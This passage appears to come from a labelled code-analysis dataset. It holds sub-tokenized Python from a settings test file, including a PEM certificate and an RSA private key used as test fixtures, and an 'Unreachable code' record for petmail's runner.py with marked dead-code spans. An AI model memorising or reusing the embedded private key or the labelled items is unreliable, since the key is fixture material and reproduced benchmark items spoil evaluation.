"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "._", "run_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Base", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "Base", "Sett", "ings", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "Get", "Sett", "ings", "Class", "Under", "Test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "settings_", "._", "Base", "Settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Check", "Value", "Pe", "m", "X509", "Cert", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "\\u", "Check", "Value", "Pe", "m", "X509", "Cert", "().\"", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pem_", "=_", "\"\"\"", "\\", "10", ";", "-----", "BEGIN", " ", "CERT", "IFIC", "ATE", "-----", "\\", "10", ";", "MI", "IC", "DT", "CCA", "Xa", "g", "Aw", "IBA", "g", "ICM", "Dk", "w", "DQ", "YJ", "Ko", "ZI", "hv", "c", "NA", "QE", "FB", "QA", "w", "FD", "ES", "MB", "AGA", "1", "UE", "Ax", "MJ", "VG", "Vz", "\\", "10", ";", "d", "EN", "lc", "n", "Q", "x", "MB", "4", "XD", "TE", "x", "MD", "kw", "Nj", "E5", "NT", "My", "NV", "o", "XD", "TI", "x", "MD", "kw", "Mz", "E5", "NT", "My", "NV", "ow", "FD", "ES", "MB", "AGA", "1", "UE", "\\", "10", ";", "Ax", "MJ", "VG", "Vz", "d", "EN", "lc", "n", "Q", "x", "MI", "Gf", "MA", "0", "GC", "Sq", "GS", "Ib", "3", "DQ", "EBA", "QUA", "A4", "GN", "ADC", "Bi", "QK", "Bg", "QC", "a7", "S", "9", "Pp", "v", "Yh", "\\", "10", ";", "Ut", "kw", "9", "Wu", "4", "pn", "V4", "B", "/", "k", "D0", "Ba", "GU", "3", "ir", "DZ", "Wh", "I", "w", "VE", "mm", "Fk", "c", "F2", "Gt", "Ph", "Sv", "y1", "2", "J", "th", "j", "1", "M", "4", "5", "ME", "8", "wp", "yz", "W", "\\", "10", ";", "sv", "Xc", "UM", "h", "Ya", "c1", "2", "Ws", "g", "FX", "Ej", "qj", "e", "Wh", "zt", "l", "UZ", "Ve", "SU", "AZ", "QW", "3", "Mi", "err", "Dh", "AR", "/", "LA", "e", "Wy", "BG", "YU", "f6", "CG", "an", "6", "\\", "10", ";", "O", "4", "4", "OC", "EL", "GJ", "STE", "g", "4", "4", "/", "f1", "Iv", "j", "8a", "PY", "V", "7", "Bu", "Sl", "Ha", "w", "IDA", "QA", "Bo", "24", "wb", "DA", "d", "Bg", "NV", "HQ", "4", "EF", "g", "QU", "Mh", "w", "L", "\\", "10", ";", "e", "P1", "Sz", "D8", "YC", "k", "UF", "v", "X", "+", "3", "k", "C", "/", "2i", "YE", "w", "PQ", "YD", "VR", "0", "j", "BD", "Y", "w", "NI", "AU", "Mh", "w", "Le", "P1", "Sz", "D8", "YC", "k", "UF", "v", "X", "+", "3", "k", "C", "/", "2", "\\", "10", ";", "i", "YG", "h", "GK", "QW", "MB", "Q", "x", "Ej", "AQ", "Bg", "NV", "BAM", "TC", "VR", "lc", "3", "RD", "ZX", "J", "0", "MY", "ICM", "Dk", "w", "DAY", "DV", "R0", "TB", "AU", "w", "Aw", "EB", "/", "z", "AN", "\\", "10", ";", "Bg", "kq", "hk", "i", "G", "9", "w", "0", "BA", "QU", "FA", "AO", "Bg", "QA", "s", "Mv", "V0", "Cy", "g", "BE", "Y", "2j", "k", "Tn", "D", "/", "r", "J", "4", "J", "b", "N", "+", "y", "Ab", "p", "Ht", "1", "7", "FU", "i1", "k", "972", "\\", "10", ";", "ww", "4", "F3", "igr", "Inf", "F6", "pg", "k", "+", "x8", "6", "6", "HW", "Qv", "r", "Zv", "AX", "JP", "d", "Mk", "G", "6", "V0", "GI", "a", "OR", "m", "Na", "FV", "y", "AH", "u", "9", "b", "Ab", "DT", "CY", "Mr", "i", "\\", "10", ";", "h", "I", "Y", "nz", "+", "CP", "Rv", "K", "8", "o", "5", "NW", "je", "GS", "DK", "Z", "/", "z", "5", "PV", "8", "j", "1", "ja", "Kc", "y2", "S0", "N", "5", "pm", "3", "iz", "DQ", "ay", "Qd", "c4", "ch", "Rf", "In", "qk", "z", "N", "\\", "10", ";", "X", "w", "==", "\\", "10", ";", "-----", "END", " ", "CERT", "IFIC", "ATE", "-----", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "settings_", "._", "Check", "Value", "Pe", "m", "X509", "Cert", "_", "(_", "'", "k", "'_", ",_", "pem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Check", "Value", "Pe", "m", "Rs", "a", "Priva", "te", "Key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "\\u", "Check", "Value", "Pe", "m", "Rs", "a", "Priva", "te", "Key", "().\"", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pem_", "=_", "\"\"\"", "\\", "10", ";", "-----", "BEGIN", " ", "RSA", " ", "PRIVATE", " ", "KEY", "-----", "\\", "10", ";", "MI", "IC", "XQ", "IBA", "AK", "Bg", "QC", "4", "PK", "VP", "k", "5", "Xn", "Zc", "z", "XE", "HK", "g", "LA", "Pra", "MV", "/", "8", "l", "Ya", "o", "8", "VP", "L", "861", "zd", "u", "7e", "x", "/", "1", "HG", "Wj", "\\", "10", ";", "U", "o", "Z", "gl", "IW", "1", "8", "u", "FW", "nox", "5", "ol", "f", "GL", "Sm", "Tu", "uq", "UX", "Fer", "CPS", "RX", "8", "i2", "e", "Wg", "Og", "tad", "b", "GO", "1", "WG", "j", "I", "3", "Or", "+/", "l", "IC", "\\", "10", ";", "Vz", "ze", "03", "ced", "3", "7", "oq", "nb", "5c", "4", "w", "HF", "ah", "QZ", "Y", "WL", "p", "/", "t", "X", "0", "UM", "Lr", "r", "X", "0", "zi", "M1", "d", "Gl", "3e", "wn", "6", "LC", "KO", "J", "w", "IDA", "QA", "B", "\\", "10", ";", "Ao", "GAU", "f8", "r", "0", "+", "7", "rm", "MF", "GG", "b", "HI", "Um", "FE", "n", "VF", "UF", "U3", "V", "5", "KV", "e", "+", "4", "9", "bg", "K", "7", "OT", "PL", "Pl", "le", "9", "JK", "Nm", "Cz", "YP", "DJ", "u", "8", "\\", "10", ";", "js", "Ch", "5", "MD", "ML", "/", "e", "Ju", "a", "ZH", "ISC", "4", "I", "/", "co", "YY", "n", "Id", "MS", "C", "j", "Kal", "429", "w", "Vq", "p", "9", "w", "0", "y", "Ce", "+", "iu", "y", "T", "0", "mb", "0", "VT", "O", "8", "Nz", "\\", "10", ";", "Vm", "b", "VL", "LC", "Az", "J", "w", "9", "t", "Tg", "6", "ET", "D6", "3e", "7", "q", "TO", "8", "l", "Ef", "UX", "b", "EF", "3", "gf", "Gl", "I1", "5", "OG", "o", "EC", "QQ", "Df", "3", "t6", "1", "t", "Fq", "m", "FL", "qo", "\\", "10", ";", "f", "UW", "S", "/", "x", "JI", "g1", "Gf", "r", "T2", "7", "L1", "ZS", "3", "v", "WO", "f9", "1", "C", "7", "0E", "z", "++", "EZ", "wn", "Gj", "RB", "9", "l", "QM", "Lj", "/", "1", "k", "1", "w", "Cf", "j", "7", "Fu", "k", "W", "6", "BJ", "\\", "10", ";", "Kh", "s", "+", "4", "xx", "t", "Ak", "EA", "0", "q2", "cq", "8", "PX", "c0", "YU", "kg", "Pf", "d", "Oi", "t", "7", "Gc", "Kp", "/", "5", "YG", "DG", "nk", "vf", "s", "C", "9", "SM", "gk", "AS", "Eo", "H", "9", "k", "RU", "K", "\\", "10", ";", "h", "Sz", "6a", "sk", "OK", "669", "V", "801", "Be", "/", "IU", "la", "NY", "8", "3", "+", "Ek", "7", "QY", "w", "JB", "AM", "n", "ZF", "x", "Da", "Bom", "MU", "yg", "rm", "xm", "Ip", "i", "F", "/", "VY", "8", "V", "\\", "10", ";", "En", "2", "9", "lq", "Wt", "pd", "XP", "792", "z", "/", "y", "Q", "xz", "Kn", "/", "KZ", "q", "9", "h1", "kx", "5", "Qb", "Ras", "w", "N", "7", "2m", "P", "6", "Kj", "uf", "Dy", "7", "n", "Ek", "9", "WJ", "k", "CQ", "QC", "y", "\\", "10", ";", "mj", "ny", "p", "8", "FT", "2", "Tq", "BG", "s", "Vq", "c", "AN", "a", "IX", "S4", "PH", "hk", "cl", "v", "0", "z", "Tc", "QR", "G2", "l", "0", "jk", "/", "9", "XG", "Ie", "EU", "F5", "7", "6", "Xn", "s", "Dj", "q", "Wy", "d", "\\", "10", ";", "Lb", "tg", "w", "Am", "c", "PA", "H", "7d", "Vu", "KG", "8", "Sv", "Ak", "Bs", "t", "9", "Gg", "ix", "x", "LGP", "r2", "u", "JY", "Sk", "m", "B", "qv", "IU", "EN", "w", "Bz", "u1", "r", "5", "ns", "QU", "9E", "tn", "\\", "10", ";", "8", "Vz", "OU", "az", "BM", "2n", "Ev", "Mn", "e0", "+", "b", "Te", "8", "2s", "z", "TB", "Ak", "bb", "T2", "u", "XW", "7", "C1", "3", "h", "7", "Ve", "\\", "10", ";", "-----", "END", " ", "RSA", " ", "PRIVATE", " ", "KEY", "-----", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "settings_", "._", "Check", "Value", "Pe", "m", "Rs", "a", "Priva", "te", "Key_", "(_", "'", "k", "'_", ",_", "pem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Files", "yste", "m", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "Files", "yste", "m", "Sett", "ings", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Files", "yste", "m", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "Get", "Sett", "ings", "Class", "Under", "Test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "settings_", "._", "Files", "yste", "m", "Settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Files", "yste", "m", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Exter", "nal", "Configuration_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "load", "ing", " ", "config", " ", "from", " ", ".", "cfg", " ", "file", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "tempfile_", "._", "mkdtemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "settings_", "._", "\\u", "path_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "settings", "\\u", "filename_", "=_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "'", "settings", ".", "cfg", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sf_", "=_", "open_", "(_", "settings", "\\u", "filename_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "._", "write_", "(_", "'[", "settings", "]\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "._", "write_", "(_", "'", "foo", " ", "=", " ", "\\\\'", "bar", "\\\\'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "bar", "'_", ",_", "self_", "._", "settings_", "._", "FOO", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Attribute", "Error_", ",_", "getattr_", ",_", "self_", "._", "settings_", ",_", "'", "OTHER", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "unlink_", "(_", "settings", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rmdir_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Files", "yste", "m", "Sett", "ings", "Test_", "(_", "settings", "\\u", "test_", "._", "Base", "Sett", "ings", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Exter", "nal", "Configura", "tion", "Pe", "m_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "load", "ing", " ", "pe", "m", " ", "from", " ", "file", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "tempfile_", "._", "mkdtemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "settings_", "._", "\\u", "path_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ssl", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "'", "ssl", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "mkdir_", "(_", "ssl", "\\u", "path_", ",_", "0_", "755", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pe", "m", "\\u", "filename_", "=_", "os_", "._", "path_", "._", "join_", "(_", "ssl", "\\u", "path_", ",_", "'", "ca", "\\u", "public", "\\u", "cert", ".", "pe", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "this", " ", "pe", "m", " ", "is", " ", "purpose", "full", "y", " ", "mal", "formed", " ", "to", " ", "prove", " ", "tha", "t", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "don", "'", "t", " ", "validat", "e", " ", "after", " ", "value", " ", "is", " ", "alr", "ead", "y", " ", "in", " ", "the", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "sf_", "=_", "open_", "(_", "pe", "m", "\\u", "filename_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "._", "write_", "(_", "'", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "x", "'_", ",_", "self_", "._", "settings_", "._", "CA", "\\u", "PUBLIC", "\\u", "CERT", "\\u", "PEM", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "self_", "._", "settings_", "._", "Check", "Validation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "unlink_", "(_", "pe", "m", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rmdir_", "(_", "ssl", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rmdir_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", "unu", "sed", "\\u", "argv_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "base", "test_", "._", "main_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
warner/petmail/petmail/scripts/runner.py
[ { "content": "\n# only import stdlib at the top level. Do not import anything from our\n# dependency set, or parts of petmail that require things from the dependency\n# set, until runtime, inside a command that specifically needs it.\n\nimport os, sys, pprint\n\ntry:\n # do not import anything from Twisted that requires the reactor, to allow\n # 'petmail start' to choose a reactor itself\n from twisted.python import usage\nexcept ImportError:\n print >>sys.stderr, \"Unable to import Twisted.\"\n print >>sys.stderr, \"Please run 'python setup.py build_deps'\"\n raise\n sys.exit(1)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\npetmail_executable = []\n\n\n\n\n\n\nDISPATCH = {\"create-node\": create_node,\n \"print-baseurl\": print_baseurl,\n \"start\": start,\n \"stop\": stop,\n \"restart\": restart,\n \"open\": open_control_panel,\n \"test\": test,\n\n \"sample\": WebCommand(\"sample\", [\"data\", \"success-object\",\n \"error\", \"server-error\"]),\n \"invite\": invite,\n \"offer-mailbox\": offer_mailbox,\n \"accept-mailbox\": accept_mailbox,\n \"addressbook\": WebCommand(\"list-addressbook\", [],\n render=render_addressbook),\n \"send-basic\": WebCommand(\"send-basic\", [\"cid\", \"message\"]),\n \"fetch-messages\": WebCommand(\"fetch-messages\", [],\n render=render_messages),\n \"follow-messages\": follow_messages,\n \"accept\": accept,\n }\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def run(args, stdout, stderr, petmail=None):\n \"\"\"This is invoked directly by bin/petmail, which configures sys.path to\n contain everything necessary to run petmail from a source tree (e.g. the\n deps-venv's site-packages directory, and the source tree itself). It can\n also invoked by entry() below.\"\"\"\n config = Options()\n try:\n config.parseOptions(args)\n except usage.error, e:\n c = config\n while hasattr(c, 'subOptions'):\n c = c.subOptions\n print >>stderr, str(c)\n print >>stderr, e.args[0]\n return 1\n command = config.subCommand\n so = config.subOptions\n so[\"petmail-executable\"] = petmail\n try:\n rc = DISPATCH[command](so, stdout, stderr)\n return rc\n except ImportError, e:\n print >>stderr, \"--- ImportError ---\"\n print >>stderr, e\n print >>stderr, \"Please run 'python setup.py build'\"\n raise\n return 1\n except NoNodeError, e:\n print >>stderr, e\n return 1", "metadata": "root.run", "header": "['module', '___EOS___']", "index": 291 } ]
[ { "span": "sys.exit(1)", "start_line": 15, "start_column": 4, "end_line": 15, "end_column": 15 }, { "span": "return 1", "start_line": 317, "start_column": 8, "end_line": 317, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "only", " ", "import", " ", "stdlib", " ", "at", " ", "the", " ", "top", " ", "level", ".", " ", "Do", " ", "not", " ", "import", " ", "anyt", "hing", " ", "from", " ", "our_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dependen", "cy", " ", "set", ",", " ", "or", " ", "part", "s", " ", "of", " ", "pet", "mail", " ", "tha", "t", " ", "require", " ", "thing", "s", " ", "from", " ", "the", " ", "dependency_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", ",", " ", "unti", "l", " ", "runt", "ime", ",", " ", "insi", "de", " ", "a", " ", "command", " ", "tha", "t", " ", "specifica", "ll", "y", " ", "need", "s", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "sys_", ",_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "not", " ", "import", " ", "anyt", "hing", " ", "from", " ", "Twi", "sted", " ", "tha", "t", " ", "require", "s", " ", "the", " ", "react", "or", ",", " ", "to", " ", "allow_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "pet", "mail", " ", "start", "'", " ", "to", " ", "choose", " ", "a", " ", "react", "or", " ", "its", "elf_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "twisted_", "._", "python_", "import_", "usage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", ">>_", "sys_", "._", "stderr_", ",_", "\"", "Una", "ble", " ", "to", " ", "import", " ", "Twi", "sted", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "sys_", "._", "stderr_", ",_", "\"", "Ple", "ase", " ", "run", " ", "'", "python", " ", "setup", ".", "py", " ", "build", "\\u", "dep", "s", "'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\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u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pet", "mail", "\\u", "executable_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "DISP", "ATCH", "_", "=_", "{_", "\"", "create", "-", "node", "\"_", ":_", "create", "\\u", "node_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "print", "-", "baseu", "rl", "\"_", ":_", "print", "\\u", "baseurl_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "start", "\"_", ":_", "start_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "\"_", ":_", "stop_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "restart", "\"_", ":_", "restart_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "open", "\"_", ":_", "open", "\\u", "control", "\\u", "panel_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "test", "\"_", ":_", "test_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "sample", "\"_", ":_", "Web", "Command_", "(_", "\"", "sample", "\"_", ",_", "[_", "\"", "data", "\"_", ",_", "\"", "success", "-", "object", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "error", "\"_", ",_", "\"", "server", "-", "error", "\"_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "invite", "\"_", ":_", "invite_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "off", "er", "-", "mailbo", "x", "\"_", ":_", "off", "er", "\\u", "mailbox_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "accept", "-", "mailbo", "x", "\"_", ":_", "accept", "\\u", "mailbox_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "address", "book", "\"_", ":_", "Web", "Command_", "(_", "\"", "list", "-", "address", "book", "\"_", ",_", "[_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "render_", "=_", "render", "\\u", "address", "book_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "send", "-", "basic", "\"_", ":_", "Web", "Command_", "(_", "\"", "send", "-", "basic", "\"_", ",_", "[_", "\"", "cid", "\"_", ",_", "\"", "message", "\"_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "fetch", "-", "message", "s", "\"_", ":_", "Web", "Command_", "(_", "\"", "fetch", "-", "message", "s", "\"_", ",_", "[_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "render_", "=_", "render", "\\u", "messages_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "follow", "-", "message", "s", "\"_", ":_", "follow", "\\u", "messages_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "accept", "\"_", ":_", "accept_", 